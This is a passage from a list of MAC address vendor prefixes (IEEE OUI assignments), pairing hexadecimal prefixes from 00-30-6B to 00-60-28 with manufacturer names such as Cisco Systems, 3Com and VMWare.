LTD. +00-30-6B:CMOS SYSTEMS, INC. +00-30-6C:Hitex Holding GmbH +00-30-6D:LUCENT TECHNOLOGIES +00-30-6E:HEWLETT PACKARD +00-30-6F:SEYEON TECH. CO., LTD. +00-30-70:1Net Corporation +00-30-71:Cisco Systems, Inc. +00-30-72:INTELLIBYTE INC. +00-30-73:International Microsystems, In +00-30-74:EQUIINET LTD. +00-30-75:ADTECH +00-30-76:Akamba Corporation +00-30-77:ONPREM NETWORKS +00-30-78:Cisco Systems, Inc. +00-30-79:CQOS, INC. +00-30-7A:Advanced Technology & Systems +00-30-7B:Cisco Systems, Inc. +00-30-7C:ADID SA +00-30-7D:GRE AMERICA, INC. +00-30-7E:Redflex Communication Systems +00-30-7F:IRLAN LTD. +00-30-80:CISCO SYSTEMS, INC. +00-30-81:ALTOS C&C +00-30-82:TAIHAN ELECTRIC WIRE CO., LTD. +00-30-83:Ivron Systems +00-30-84:ALLIED TELESYN INTERNAIONAL +00-30-85:CISCO SYSTEMS, INC. +00-30-86:Transistor Devices, Inc. +00-30-87:VEGA GRIESHABER KG +00-30-88:Siara Systems, Inc. +00-30-89:Spectrapoint Wireless, LLC +00-30-8A:NICOTRA SISTEMI S.P.A +00-30-8B:Brix Networks +00-30-8C:ADVANCED DIGITAL INFORMATION +00-30-8D:PINNACLE SYSTEMS, INC. +00-30-8E:CROSS MATCH TECHNOLOGIES, INC. +00-30-8F:MICRILOR, Inc. +00-30-90:CYRA TECHNOLOGIES, INC. +00-30-91:TAIWAN FIRST LINE ELEC. CORP. +00-30-92:ModuNORM GmbH +00-30-93:SONNET TECHNOLOGIES, INC. +00-30-94:Cisco Systems, Inc. +00-30-95:Procomp Informatics, Ltd. +00-30-96:CISCO SYSTEMS, INC. +00-30-97:EXOMATIC AB +00-30-98:Global Converging Technologies +00-30-99:BOENIG UND KALLENBACH OHG +00-30-9A:ASTRO TERRA CORP. +00-30-9B:Smartware +00-30-9C:Timing Applications, Inc. +00-30-9D:Nimble Microsystems, Inc. +00-30-9E:WORKBIT CORPORATION. +00-30-9F:AMBER NETWORKS +00-30-A0:TYCO SUBMARINE SYSTEMS, LTD. +00-30-A1:WEBGATE Inc. +00-30-A2:Lightner Engineering +00-30-A3:CISCO SYSTEMS, INC. +00-30-A4:Woodwind Communications System +00-30-A5:ACTIVE POWER +00-30-A6:VIANET TECHNOLOGIES, LTD. +00-30-A7:SCHWEITZER ENGINEERING +00-30-A8:OL'E COMMUNICATIONS, INC. +00-30-A9:Netiverse, Inc. +00-30-AA:AXUS MICROSYSTEMS, INC. +00-30-AB:DELTA NETWORKS, INC. +00-30-AC:Systeme Lauer GmbH & Co., Ltd. +00-30-AD:SHANGHAI COMMUNICATION +00-30-AE:Times N System, Inc. +00-30-AF:Honeywell GmbH +00-30-B0:Convergenet Technologies +00-30-B1:aXess-pro networks GmbH +00-30-B2:WESCAM - HEALDSBURG +00-30-B3:San Valley Systems, Inc. +00-30-B4:INTERSIL CORP. +00-30-B5:Tadiran Microwave Networks +00-30-B6:CISCO SYSTEMS, INC. +00-30-B7:Teletrol Systems, Inc. +00-30-B8:RiverDelta Networks +00-30-B9:ECTEL +00-30-BA:AC&T SYSTEM CO., LTD. +00-30-BB:CacheFlow, Inc. +00-30-BC:Optronic AG +00-30-BD:BELKIN COMPONENTS +00-30-BE:City-Net Technology, Inc. +00-30-BF:MULTIDATA GMBH +00-30-C0:Lara Technology, Inc. +00-30-C1:HEWLETT-PACKARD +00-30-C2:COMONE +00-30-C3:FLUECKIGER ELEKTRONIK AG +00-30-C4:Niigata Canotec Co., Inc. +00-30-C5:CADENCE DESIGN SYSTEMS +00-30-C6:CONTROL SOLUTIONS, INC. +00-30-C7:MACROMATE CORP. +00-30-C8:GAD LINE, LTD. +00-30-C9:LuxN, N +00-30-CA:Discovery Com +00-30-CB:OMNI FLOW COMPUTERS, INC. +00-30-CC:Tenor Networks, Inc. +00-30-CD:CONEXANT SYSTEMS, INC. +00-30-CE:Zaffire +00-30-CF:TWO TECHNOLOGIES, INC. +00-30-D0:Tellabs +00-30-D1:INOVA CORPORATION +00-30-D2:WIN TECHNOLOGIES, CO., LTD. +00-30-D3:Agilent Technologies +00-30-D4:COMTIER +00-30-D5:DResearch GmbH +00-30-D6:MSC VERTRIEBS GMBH +00-30-D7:Innovative Systems, L.L.C. +00-30-D8:SITEK +00-30-D9:DATACORE SOFTWARE CORP. +00-30-DA:COMTREND CO. +00-30-DB:Mindready Solutions, Inc. +00-30-DC:RIGHTECH CORPORATION +00-30-DD:INDIGITA CORPORATION +00-30-DE:WAGO Kontakttechnik GmbH +00-30-DF:KB/TEL TELECOMUNICACIONES +00-30-E0:OXFORD SEMICONDUCTOR LTD. +00-30-E1:ACROTRON SYSTEMS, INC. +00-30-E2:GARNET SYSTEMS CO., LTD. +00-30-E3:SEDONA NETWORKS CORP. +00-30-E4:CHIYODA SYSTEM RIKEN +00-30-E5:Amper Datos S.A. +00-30-E6:SIEMENS MEDICAL SYSTEMS +00-30-E7:CNF MOBILE SOLUTIONS, INC. +00-30-E8:ENSIM CORP. +00-30-E9:GMA COMMUNICATION MANUFACT'G +00-30-EA:TeraForce Technology Corporation +00-30-EB:TURBONET COMMUNICATIONS, INC. +00-30-EC:BORGARDT +00-30-ED:Expert Magnetics Corp. +00-30-EE:DSG Technology, Inc. +00-30-EF:NEON TECHNOLOGY, INC. +00-30-F0:Uniform Industrial Corp. +00-30-F1:Accton Technology Corp. +00-30-F2:CISCO SYSTEMS, INC. +00-30-F3:At Work Computers +00-30-F4:STARDOT TECHNOLOGIES +00-30-F5:Wild Lab. Ltd. +00-30-F6:SECURELOGIX CORPORATION +00-30-F7:RAMIX INC. +00-30-F8:Dynapro Systems, Inc. +00-30-F9:Sollae Systems Co., Ltd. +00-30-FA:TELICA, INC. +00-30-FB:AZS Technology AG +00-30-FC:Terawave Communications, Inc. +00-30-FD:INTEGRATED SYSTEMS DESIGN +00-30-FE:DSA GmbH +00-30-FF:DATAFAB SYSTEMS, INC. +00-40-00:PCI COMPONENTES DA AMZONIA LTD +00-40-01:ZYXEL COMMUNICATIONS, INC. +00-40-02:PERLE SYSTEMS LIMITED +00-40-03:WESTINGHOUSE PROCESS CONTROL +00-40-04:ICM CO. LTD. +00-40-05:ANI COMMUNICATIONS INC. +00-40-06:SAMPO TECHNOLOGY CORPORATION +00-40-07:TELMAT INFORMATIQUE +00-40-08:A PLUS INFO CORPORATION +00-40-09:TACHIBANA TECTRON CO., LTD. +00-40-0A:PIVOTAL TECHNOLOGIES, INC. +00-40-0B:CISCO SYSTEMS, INC. +00-40-0C:GENERAL MICRO SYSTEMS, INC. +00-40-0D:LANNET DATA COMMUNICATIONS,LTD +00-40-0E:MEMOTEC COMMUNICATIONS, INC. +00-40-0F:DATACOM TECHNOLOGIES +00-40-10:SONIC SYSTEMS, INC. +00-40-11:ANDOVER CONTROLS CORPORATION +00-40-12:WINDATA, INC. +00-40-13:NTT DATA COMM. SYSTEMS CORP. +00-40-14:COMSOFT GMBH +00-40-15:ASCOM INFRASYS AG +00-40-16:HADAX ELECTRONICS, INC. +00-40-17:TROY Group, Inc. +00-40-18:ADOBE SYSTEMS, INC. +00-40-19:AEON SYSTEMS, INC. +00-40-1A:FUJI ELECTRIC CO., LTD. +00-40-1B:PRINTER SYSTEMS CORP. +00-40-1C:AST RESEARCH, INC. +00-40-1D:INVISIBLE SOFTWARE, INC. +00-40-1E:ICC +00-40-1F:COLORGRAPH LTD +00-40-20:PINACL COMMUNICATION +00-40-21:RASTER GRAPHICS +00-40-22:KLEVER COMPUTERS, INC. +00-40-23:LOGIC CORPORATION +00-40-24:COMPAC INC. +00-40-25:MOLECULAR DYNAMICS +00-40-26:MELCO, INC. +00-40-27:SMC MASSACHUSETTS, INC. +00-40-28:NETCOMM LIMITED +00-40-29:COMPEX +00-40-2A:CANOGA-PERKINS +00-40-2B:TRIGEM COMPUTER, INC. +00-40-2C:ISIS DISTRIBUTED SYSTEMS, INC. +00-40-2D:HARRIS ADACOM CORPORATION +00-40-2E:PRECISION SOFTWARE, INC. +00-40-2F:XLNT DESIGNS INC. +00-40-30:GK COMPUTER +00-40-31:KOKUSAI ELECTRIC CO., LTD +00-40-32:DIGITAL COMMUNICATIONS +00-40-33:ADDTRON TECHNOLOGY CO., LTD. +00-40-34:BUSTEK CORPORATION +00-40-35:OPCOM +00-40-36:TRIBE COMPUTER WORKS, INC. +00-40-37:SEA-ILAN, INC. +00-40-38:TALENT ELECTRIC INCORPORATED +00-40-39:OPTEC DAIICHI DENKO CO., LTD. +00-40-3A:IMPACT TECHNOLOGIES +00-40-3B:SYNERJET INTERNATIONAL CORP. +00-40-3C:FORKS, INC. +00-40-3D:TERADATA +00-40-3E:RASTER OPS CORPORATION +00-40-3F:SSANGYONG COMPUTER SYSTEMS +00-40-40:RING ACCESS, INC. +00-40-41:FUJIKURA LTD. +00-40-42:N.A.T. GMBH +00-40-43:NOKIA TELECOMMUNICATIONS +00-40-44:QNIX COMPUTER CO., LTD. +00-40-45:TWINHEAD CORPORATION +00-40-46:UDC RESEARCH LIMITED +00-40-47:WIND RIVER SYSTEMS +00-40-48:SMD INFORMATICA S.A. +00-40-49:TEGIMENTA AG +00-40-4A:WEST AUSTRALIAN DEPARTMENT +00-40-4B:MAPLE COMPUTER SYSTEMS +00-40-4C:HYPERTEC PTY LTD. +00-40-4D:TELECOMMUNICATIONS TECHNIQUES +00-40-4E:FLUENT, INC. +00-40-4F:SPACE & NAVAL WARFARE SYSTEMS +00-40-50:IRONICS, INCORPORATED +00-40-51:GRACILIS, INC. +00-40-52:STAR TECHNOLOGIES, INC. +00-40-53:AMPRO COMPUTERS +00-40-54:CONNECTION MACHINES SERVICES +00-40-55:METRONIX GMBH +00-40-56:MCM JAPAN LTD. +00-40-57:LOCKHEED - SANDERS +00-40-58:KRONOS, INC. +00-40-59:YOSHIDA KOGYO K. K. +00-40-5A:GOLDSTAR INFORMATION & COMM. +00-40-5B:FUNASSET LIMITED +00-40-5C:FUTURE SYSTEMS, INC. +00-40-5D:STAR-TEK, INC. +00-40-5E:NORTH HILLS ISRAEL +00-40-5F:AFE COMPUTERS LTD. +00-40-60:COMENDEC LTD +00-40-61:DATATECH ENTERPRISES CO., LTD. +00-40-62:E-SYSTEMS, INC./GARLAND DIV. +00-40-63:VIA TECHNOLOGIES, INC. +00-40-64:KLA INSTRUMENTS CORPORATION +00-40-65:GTE SPACENET +00-40-66:HITACHI CABLE, LTD. +00-40-67:OMNIBYTE CORPORATION +00-40-68:EXTENDED SYSTEMS +00-40-69:LEMCOM SYSTEMS, INC. +00-40-6A:KENTEK INFORMATION SYSTEMS,INC +00-40-6B:SYSGEN +00-40-6C:COPERNIQUE +00-40-6D:LANCO, INC. +00-40-6E:COROLLARY, INC. +00-40-6F:SYNC RESEARCH INC. +00-40-70:INTERWARE CO., LTD. +00-40-71:ATM COMPUTER GMBH +00-40-72:Applied Innovation Inc. +00-40-73:BASS ASSOCIATES +00-40-74:CABLE AND WIRELESS +00-40-75:M-TRADE (UK) LTD +00-40-76:Sun Conversion Technologies +00-40-77:MAXTON TECHNOLOGY CORPORATION +00-40-78:WEARNES AUTOMATION PTE LTD +00-40-79:JUKO MANUFACTURE COMPANY, LTD. +00-40-7A:SOCIETE D'EXPLOITATION DU CNIT +00-40-7B:SCIENTIFIC ATLANTA +00-40-7C:QUME CORPORATION +00-40-7D:EXTENSION TECHNOLOGY CORP. +00-40-7E:EVERGREEN SYSTEMS, INC. +00-40-7F:FLIR Systems +00-40-80:ATHENIX CORPORATION +00-40-81:MANNESMANN SCANGRAPHIC GMBH +00-40-82:LABORATORY EQUIPMENT CORP. +00-40-83:TDA INDUSTRIA DE PRODUTOS +00-40-84:HONEYWELL INC. +00-40-85:SAAB INSTRUMENTS AB +00-40-86:MICHELS & KLEBERHOFF COMPUTER +00-40-87:UBITREX CORPORATION +00-40-88:MOBIUS TECHNOLOGIES, INC. +00-40-89:MEIDENSHA CORPORATION +00-40-8A:TPS TELEPROCESSING SYS. GMBH +00-40-8B:RAYLAN CORPORATION +00-40-8C:AXIS COMMUNICATIONS AB +00-40-8D:THE GOODYEAR TIRE & RUBBER CO. +00-40-8E:DIGILOG, INC. +00-40-8F:WM-DATA MINFO AB +00-40-90:ANSEL COMMUNICATIONS +00-40-91:PROCOMP INDUSTRIA ELETRONICA +00-40-92:ASP COMPUTER PRODUCTS, INC. +00-40-93:PAXDATA NETWORKS LTD. +00-40-94:SHOGRAPHICS, INC. +00-40-95:R.P.T. INTERGROUPS INT'L LTD. +00-40-96:Aironet Wireless Communication +00-40-97:DATEX DIVISION OF +00-40-98:DRESSLER GMBH & CO. +00-40-99:NEWGEN SYSTEMS CORP. +00-40-9A:NETWORK EXPRESS, INC. +00-40-9B:HAL COMPUTER SYSTEMS INC. +00-40-9C:TRANSWARE +00-40-9D:DIGIBOARD, INC. +00-40-9E:CONCURRENT TECHNOLOGIES LTD. +00-40-9F:LANCAST/CASAT TECHNOLOGY, INC. +00-40-A0:GOLDSTAR CO., LTD. +00-40-A1:ERGO COMPUTING +00-40-A2:KINGSTAR TECHNOLOGY INC. +00-40-A3:MICROUNITY SYSTEMS ENGINEERING +00-40-A4:ROSE ELECTRONICS +00-40-A5:CLINICOMP INTL. +00-40-A6:Cray, Inc. +00-40-A7:ITAUTEC PHILCO S.A. +00-40-A8:IMF INTERNATIONAL LTD. +00-40-A9:DATACOM INC. +00-40-AA:VALMET AUTOMATION INC. +00-40-AB:ROLAND DG CORPORATION +00-40-AC:SUPER WORKSTATION, INC. +00-40-AD:SMA REGELSYSTEME GMBH +00-40-AE:DELTA CONTROLS, INC. +00-40-AF:DIGITAL PRODUCTS, INC. +00-40-B0:BYTEX CORPORATION, ENGINEERING +00-40-B1:CODONICS INC. +00-40-B2:SYSTEMFORSCHUNG +00-40-B3:PAR MICROSYSTEMS CORPORATION +00-40-B4:NEXTCOM K.K. +00-40-B5:VIDEO TECHNOLOGY COMPUTERS LTD +00-40-B6:COMPUTERM CORPORATION +00-40-B7:STEALTH COMPUTER SYSTEMS +00-40-B8:IDEA ASSOCIATES +00-40-B9:MACQ ELECTRONIQUE SA +00-40-BA:ALLIANT COMPUTER SYSTEMS CORP. +00-40-BB:GOLDSTAR CABLE CO., LTD. +00-40-BC:ALGORITHMICS LTD. +00-40-BD:STARLIGHT NETWORKS, INC. +00-40-BE:BOEING DEFENSE & SPACE +00-40-BF:CHANNEL SYSTEMS INTERN'L INC. +00-40-C0:VISTA CONTROLS CORPORATION +00-40-C1:BIZERBA-WERKE WILHEIM KRAUT +00-40-C2:APPLIED COMPUTING DEVICES +00-40-C3:FISCHER AND PORTER CO. +00-40-C4:KINKEI SYSTEM CORPORATION +00-40-C5:MICOM COMMUNICATIONS INC. +00-40-C6:FIBERNET RESEARCH, INC. +00-40-C7:RUBY TECH CORPORATION +00-40-C8:MILAN TECHNOLOGY CORPORATION +00-40-C9:NCUBE +00-40-CA:FIRST INTERNAT'L COMPUTER, INC +00-40-CB:LANWAN TECHNOLOGIES +00-40-CC:SILCOM MANUF'G TECHNOLOGY INC. +00-40-CD:TERA MICROSYSTEMS, INC. +00-40-CE:NET-SOURCE, INC. +00-40-CF:STRAWBERRY TREE, INC. +00-40-D0:MITAC INTERNATIONAL CORP. +00-40-D1:FUKUDA DENSHI CO., LTD. +00-40-D2:PAGINE CORPORATION +00-40-D3:KIMPSION INTERNATIONAL CORP. +00-40-D4:GAGE TALKER CORP. +00-40-D5:SARTORIUS AG +00-40-D6:LOCAMATION B.V. +00-40-D7:STUDIO GEN INC. +00-40-D8:OCEAN OFFICE AUTOMATION LTD. +00-40-D9:AMERICAN MEGATRENDS INC. +00-40-DA:TELSPEC LTD +00-40-DB:ADVANCED TECHNICAL SOLUTIONS +00-40-DC:TRITEC ELECTRONIC GMBH +00-40-DD:HONG TECHNOLOGIES +00-40-DE:ELETTRONICA SAN GIORGIO +00-40-DF:DIGALOG SYSTEMS, INC. +00-40-E0:ATOMWIDE LTD. +00-40-E1:MARNER INTERNATIONAL, INC. +00-40-E2:MESA RIDGE TECHNOLOGIES, INC. +00-40-E3:QUIN SYSTEMS LTD +00-40-E4:E-M TECHNOLOGY, INC. +00-40-E5:SYBUS CORPORATION +00-40-E6:C.A.E.N. +00-40-E7:ARNOS INSTRUMENTS & COMPUTER +00-40-E8:CHARLES RIVER DATA SYSTEMS,INC +00-40-E9:ACCORD SYSTEMS, INC. +00-40-EA:PLAIN TREE SYSTEMS INC +00-40-EB:MARTIN MARIETTA CORPORATION +00-40-EC:MIKASA SYSTEM ENGINEERING +00-40-ED:NETWORK CONTROLS INT'NATL INC. +00-40-EE:OPTIMEM +00-40-EF:HYPERCOM, INC. +00-40-F0:MICRO SYSTEMS, INC. +00-40-F1:CHUO ELECTRONICS CO., LTD. +00-40-F2:JANICH & KLASS COMPUTERTECHNIK +00-40-F3:NETCOR +00-40-F4:CAMEO COMMUNICATIONS, INC. +00-40-F5:OEM ENGINES +00-40-F6:KATRON COMPUTERS INC. +00-40-F7:POLAROID MEDICAL IMAGING SYS. +00-40-F8:SYSTEMHAUS DISCOM +00-40-F9:COMBINET +00-40-FA:MICROBOARDS, INC. +00-40-FB:CASCADE COMMUNICATIONS CORP. +00-40-FC:IBR COMPUTER TECHNIK GMBH +00-40-FD:LXE +00-40-FE:SYMPLEX COMMUNICATIONS +00-40-FF:TELEBIT CORPORATION +00-42-52:RLX Technologies +00-50-00:NEXO COMMUNICATIONS, INC. +00-50-01:YAMASHITA SYSTEMS CORP. +00-50-02:OMNISEC AG +00-50-03:GRETAG MACBETH AG +00-50-04:3COM CORPORATION +00-50-06:TAC AB +00-50-07:SIEMENS TELECOMMUNICATION SYSTEMS LIMITED +00-50-08:TIVA MICROCOMPUTER CORP. (TMC) +00-50-09:PHILIPS BROADBAND NETWORKS +00-50-0A:IRIS TECHNOLOGIES, INC. +00-50-0B:CISCO SYSTEMS, INC. +00-50-0C:e-Tek Labs, Inc. +00-50-0D:SATORI ELECTORIC CO., LTD. +00-50-0E:CHROMATIS NETWORKS, INC. +00-50-0F:CISCO SYSTEMS, INC. +00-50-10:NovaNET Learning, Inc. +00-50-12:CBL - GMBH +00-50-13:Chaparral Network Storage +00-50-14:CISCO SYSTEMS, INC. +00-50-15:BRIGHT STAR ENGINEERING +00-50-16:SST/WOODHEAD INDUSTRIES +00-50-17:RSR S.R.L. +00-50-18:ADVANCED MULTIMEDIA INTERNET TECHNOLOGY INC. +00-50-19:SPRING TIDE NETWORKS, INC. +00-50-1A:UISIQN +00-50-1B:ABL CANADA, INC. +00-50-1C:JATOM SYSTEMS, INC. +00-50-1E:Miranda Technologies, Inc. +00-50-1F:MRG SYSTEMS, LTD. +00-50-20:MEDIASTAR CO., LTD. +00-50-21:EIS INTERNATIONAL, INC. +00-50-22:ZONET TECHNOLOGY, INC. +00-50-23:PG DESIGN ELECTRONICS, INC. +00-50-24:NAVIC SYSTEMS, INC. +00-50-26:COSYSTEMS, INC. +00-50-27:GENICOM CORPORATION +00-50-28:AVAL COMMUNICATIONS +00-50-29:1394 PRINTER WORKING GROUP +00-50-2A:CISCO SYSTEMS, INC. +00-50-2B:GENRAD LTD. +00-50-2C:SOYO COMPUTER, INC. +00-50-2D:ACCEL, INC. +00-50-2E:CAMBEX CORPORATION +00-50-2F:TollBridge Technologies, Inc. +00-50-30:FUTURE PLUS SYSTEMS +00-50-31:AEROFLEX LABORATORIES, INC. +00-50-32:PICAZO COMMUNICATIONS, INC. +00-50-33:MAYAN NETWORKS +00-50-36:NETCAM, LTD. +00-50-37:KOGA ELECTRONICS CO. +00-50-38:DAIN TELECOM CO., LTD. +00-50-39:MARINER NETWORKS +00-50-3A:DATONG ELECTRONICS LTD. +00-50-3B:MEDIAFIRE CORPORATION +00-50-3C:TSINGHUA NOVEL ELECTRONICS +00-50-3E:CISCO SYSTEMS, INC. +00-50-3F:ANCHOR GAMES +00-50-40:EMWARE, INC. +00-50-41:CTX OPTO ELECTRONIC CORP. +00-50-42:SCI MANUFACTURING SINGAPORE PTE, LTD. +00-50-43:MARVELL SEMICONDUCTOR, INC. +00-50-44:ASACA CORPORATION +00-50-45:RIOWORKS SOLUTIONS, INC. +00-50-46:MENICX INTERNATIONAL CO., LTD. +00-50-47:PRIVATE +00-50-48:INFOLIBRIA +00-50-49:ELLACOYA NETWORKS, INC. +00-50-4A:ELTECO A.S. +00-50-4B:BARCONET N.V. +00-50-4C:GALIL MOTION CONTROL, INC. +00-50-4D:TOKYO ELECTRON DEVICE LTD. +00-50-4E:SIERRA MONITOR CORP. +00-50-4F:OLENCOM ELECTRONICS +00-50-50:CISCO SYSTEMS, INC. +00-50-51:IWATSU ELECTRIC CO., LTD. +00-50-52:TIARA NETWORKS, INC. +00-50-53:CISCO SYSTEMS, INC. +00-50-54:CISCO SYSTEMS, INC. +00-50-55:DOMS A/S +00-50-56:VMWare, Inc. +00-50-57:BROADBAND ACCESS SYSTEMS +00-50-58:VegaStream Limted +00-50-59:SUITE TECHNOLOGY SYSTEMS NETWORK +00-50-5A:NETWORK ALCHEMY, INC. +00-50-5B:KAWASAKI LSI U.S.A., INC. +00-50-5C:TUNDO CORPORATION +00-50-5E:DIGITEK MICROLOGIC S.A. +00-50-5F:BRAND INNOVATORS +00-50-60:TANDBERG TELECOM AS +00-50-62:KOUWELL ELECTRONICS CORP. ** +00-50-63:OY COMSEL SYSTEM AB +00-50-64:CAE ELECTRONICS +00-50-65:DENSEI-LAMBAD Co., Ltd. +00-50-66:AtecoM GmbH advanced telecomunication modules +00-50-67:AEROCOMM, INC. +00-50-68:ELECTRONIC INDUSTRIES ASSOCIATION +00-50-69:PixStream Incorporated +00-50-6A:EDEVA, INC. +00-50-6B:SPX-ATEG +00-50-6C:G & L BEIJER ELECTRONICS AB +00-50-6D:VIDEOJET SYSTEMS +00-50-6E:CORDER ENGINEERING CORPORATION +00-50-6F:G-CONNECT +00-50-70:CHAINTECH COMPUTER CO., LTD. +00-50-71:AIWA CO., LTD. +00-50-72:CORVIS CORPORATION +00-50-73:CISCO SYSTEMS, INC. +00-50-74:ADVANCED HI-TECH CORP. +00-50-75:KESTREL SOLUTIONS +00-50-76:IBM +00-50-77:PROLIFIC TECHNOLOGY, INC. +00-50-78:MEGATON HOUSE, LTD. +00-50-79:PRIVATE +00-50-7A:XPEED, INC. +00-50-7B:MERLOT COMMUNICATIONS +00-50-7C:VIDEOCON AG +00-50-7D:IFP +00-50-7E:NEWER TECHNOLOGY +00-50-7F:DrayTek Corp. +00-50-80:CISCO SYSTEMS, INC. +00-50-81:MURATA MACHINERY, LTD. +00-50-82:FORESSON CORPORATION +00-50-83:GILBARCO, INC. +00-50-84:ATL PRODUCTS +00-50-86:TELKOM SA, LTD. +00-50-87:TERASAKI ELECTRIC CO., LTD. +00-50-88:AMANO CORPORATION +00-50-89:SAFETY MANAGEMENT SYSTEMS +00-50-8B:COMPAQ COMPUTER CORPORATION +00-50-8C:RSI SYSTEMS +00-50-8D:ABIT COMPUTER CORPORATION +00-50-8E:OPTIMATION, INC. +00-50-8F:ASITA TECHNOLOGIES INT'L LTD. +00-50-90:DCTRI +00-50-91:NETACCESS, INC. +00-50-92:RIGAKU INDUSTRIAL CORPORATION +00-50-93:BOEING +00-50-94:PACE MICRO TECHNOLOGY PLC +00-50-95:PERACOM NETWORKS +00-50-96:SALIX TECHNOLOGIES, INC. +00-50-97:MMC-EMBEDDED COMPUTERTECHNIK GmbH +00-50-98:GLOBALOOP, LTD. +00-50-99:3COM EUROPE, LTD. +00-50-9A:TAG ELECTRONIC SYSTEMS +00-50-9B:SWITCHCORE AB +00-50-9C:BETA RESEARCH +00-50-9D:THE INDUSTREE B.V. +00-50-9E:Les Technologies SoftAcoustik Inc. +00-50-9F:HORIZON COMPUTER +00-50-A0:DELTA COMPUTER SYSTEMS, INC. +00-50-A1:CARLO GAVAZZI, INC. +00-50-A2:CISCO SYSTEMS, INC. +00-50-A3:TransMedia Communications, Inc. +00-50-A4:IO TECH, INC. +00-50-A5:CAPITOL BUSINESS SYSTEMS, LTD. +00-50-A6:OPTRONICS +00-50-A7:CISCO SYSTEMS, INC. +00-50-A8:OpenCon Systems, Inc. +00-50-A9:MOLDAT WIRELESS TECHNOLGIES +00-50-AA:KONICA MINOLTA HOLDINGS, INC. +00-50-AB:NALTEC, INC. +00-50-AC:MAPLE COMPUTER CORPORATION +00-50-AD:CommUnique Wireless Corp. +00-50-AE:IWAKI ELECTRONICS CO., LTD. +00-50-AF:INTERGON, INC. +00-50-B0:TECHNOLOGY ATLANTA CORPORATION +00-50-B1:GIDDINGS & LEWIS +00-50-B2:BRODEL AUTOMATION +00-50-B3:VOICEBOARD CORPORATION +00-50-B4:SATCHWELL CONTROL SYSTEMS, LTD +00-50-B5:FICHET-BAUCHE +00-50-B6:GOOD WAY IND. CO., LTD. +00-50-B7:BOSER TECHNOLOGY CO., LTD. +00-50-B8:INOVA COMPUTERS GMBH & CO. KG +00-50-B9:XITRON TECHNOLOGIES, INC. +00-50-BA:D-LINK +00-50-BB:CMS TECHNOLOGIES +00-50-BC:HAMMER STORAGE SOLUTIONS +00-50-BD:CISCO SYSTEMS, INC. +00-50-BE:FAST MULTIMEDIA AG +00-50-BF:MOTOTECH INC. +00-50-C0:GATAN, INC. +00-50-C1:GEMFLEX NETWORKS, LTD. +00-50-C2:IEEE REGISTRATION AUTHORITY +00-50-C4:IMD +00-50-C5:ADS TECHNOLOGIES, INC. +00-50-C6:LOOP TELECOMMUNICATION INTERNATIONAL, INC. +00-50-C8:ADDONICS COMMUNICATIONS, INC. +00-50-C9:MASPRO DENKOH CORP. +00-50-CA:NET TO NET TECHNOLOGIES +00-50-CB:JETTER +00-50-CC:XYRATEX +00-50-CD:DIGIANSWER A/S +00-50-CE:LG INTERNATIONAL CORP. +00-50-CF:VANLINK COMMUNICATION TECHNOLOGY RESEARCH INSTITUTE +00-50-D0:MINERVA SYSTEMS +00-50-D1:CISCO SYSTEMS, INC. +00-50-D2:BAE Systems Canada, Inc. +00-50-D3:DIGITAL AUDIO PROCESSING PTY. LTD. +00-50-D4:JOOHONG INFORMATION & +00-50-D5:AD SYSTEMS CORP. +00-50-D6:ATLAS COPCO TOOLS AB +00-50-D7:TELSTRAT +00-50-D8:UNICORN COMPUTER CORP. +00-50-D9:ENGETRON-ENGENHARIA ELETRONICA IND. e COM. LTDA +00-50-DA:3COM CORPORATION +00-50-DB:CONTEMPORARY CONTROL +00-50-DC:TAS TELEFONBAU A. SCHWABE GMBH & CO. KG +00-50-DD:SERRA SOLDADURA, S.A. +00-50-DE:SIGNUM SYSTEMS CORP. +00-50-DF:AirFiber, Inc. +00-50-E1:NS TECH ELECTRONICS SDN BHD +00-50-E2:CISCO SYSTEMS, INC. +00-50-E3:Terayon Communications Systems +00-50-E4:APPLE COMPUTER, INC. +00-50-E6:HAKUSAN CORPORATION +00-50-E7:PARADISE INNOVATIONS (ASIA) +00-50-E8:NOMADIX INC. +00-50-EA:XEL COMMUNICATIONS, INC. +00-50-EB:ALPHA-TOP CORPORATION +00-50-EC:OLICOM A/S +00-50-ED:ANDA NETWORKS +00-50-EE:TEK DIGITEL CORPORATION +00-50-EF:SPE Systemhaus GmbH +00-50-F0:CISCO SYSTEMS, INC. +00-50-F1:LIBIT SIGNAL PROCESSING, LTD. +00-50-F2:MICROSOFT CORP. +00-50-F3:GLOBAL NET INFORMATION CO., Ltd. +00-50-F4:SIGMATEK GMBH & CO. KG +00-50-F6:PAN-INTERNATIONAL INDUSTRIAL CORP. +00-50-F7:VENTURE MANUFACTURING (SINGAPORE) LTD. +00-50-F8:ENTREGA TECHNOLOGIES, INC. +00-50-F9:PRIVATE +00-50-FA:OXTEL, LTD. +00-50-FB:VSK ELECTRONICS +00-50-FC:EDIMAX TECHNOLOGY CO., LTD. +00-50-FD:VISIONCOMM CO., LTD. +00-50-FE:PCTVnet ASA +00-50-FF:HAKKO ELECTRONICS CO., LTD. +00-60-00:XYCOM INC. +00-60-01:InnoSys, Inc. +00-60-02:SCREEN SUBTITLING SYSTEMS, LTD +00-60-03:TERAOKA WEIGH SYSTEM PTE, LTD. +00-60-04:COMPUTADORES MODULARES SA +00-60-05:FEEDBACK DATA LTD. +00-60-06:SOTEC CO., LTD +00-60-07:ACRES GAMING, INC. +00-60-08:3COM CORPORATION +00-60-09:CISCO SYSTEMS, INC. +00-60-0A:SORD COMPUTER CORPORATION +00-60-0B:LOGWARE GmbH +00-60-0C:APPLIED DATA SYSTEMS, INC. +00-60-0D:Digital Logic GmbH +00-60-0E:WAVENET INTERNATIONAL, INC. +00-60-0F:WESTELL, INC. +00-60-10:NETWORK MACHINES, INC. +00-60-11:CRYSTAL SEMICONDUCTOR CORP. +00-60-12:POWER COMPUTING CORPORATION +00-60-13:NETSTAL MASCHINEN AG +00-60-14:EDEC CO., LTD. +00-60-15:NET2NET CORPORATION +00-60-16:CLARIION +00-60-17:TOKIMEC INC. +00-60-18:STELLAR ONE CORPORATION +00-60-19:Roche Diagnostics +00-60-1A:KEITHLEY INSTRUMENTS +00-60-1B:MESA ELECTRONICS +00-60-1C:TELXON CORPORATION +00-60-1D:LUCENT TECHNOLOGIES +00-60-1E:SOFTLAB, INC. +00-60-1F:STALLION TECHNOLOGIES +00-60-20:PIVOTAL NETWORKING, INC. +00-60-21:DSC CORPORATION +00-60-22:VICOM SYSTEMS, INC. +00-60-23:PERICOM SEMICONDUCTOR CORP. +00-60-24:GRADIENT TECHNOLOGIES, INC. +00-60-25:ACTIVE IMAGING PLC +00-60-26:VIKING COMPONENTS, INC. +00-60-27:Superior Modular Products +00-60-28:MACROVISION CORPORATION 